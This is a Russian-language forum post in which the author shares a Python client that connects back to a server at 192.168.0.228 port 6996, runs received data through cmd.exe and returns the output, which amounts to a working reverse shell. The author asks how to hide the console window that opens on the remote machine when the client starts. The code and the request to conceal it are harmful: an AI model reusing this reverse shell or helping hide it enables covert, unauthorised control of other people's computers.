Ребят, помогите пожалуйста, знаю проблема глупая, но уже 3-й день мучаюсь. Есть две программы: Сервер и Клиент. На своей машине запускаю сервер, а на удаленной клиент. Задача была получить удаленно командную строку (cmd). Все работает отлично, но при запуске клиента открывается пустая командная строка, хотелось бы ее скрыть. Вот код клиента
#!/usr/bin/python3.5
from socket import *
import subprocess, time
while True:
sock = socket(AF_INET, SOCK_STREAM)
sock.connect(('192.168.0.228', 6996))
try:
data = sock.recv(1024)
if not data: break
result = subprocess.run(['cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, input=data)
except:
break
sock.send(result.stdout)
sock.send(result.stderr)
sock.close()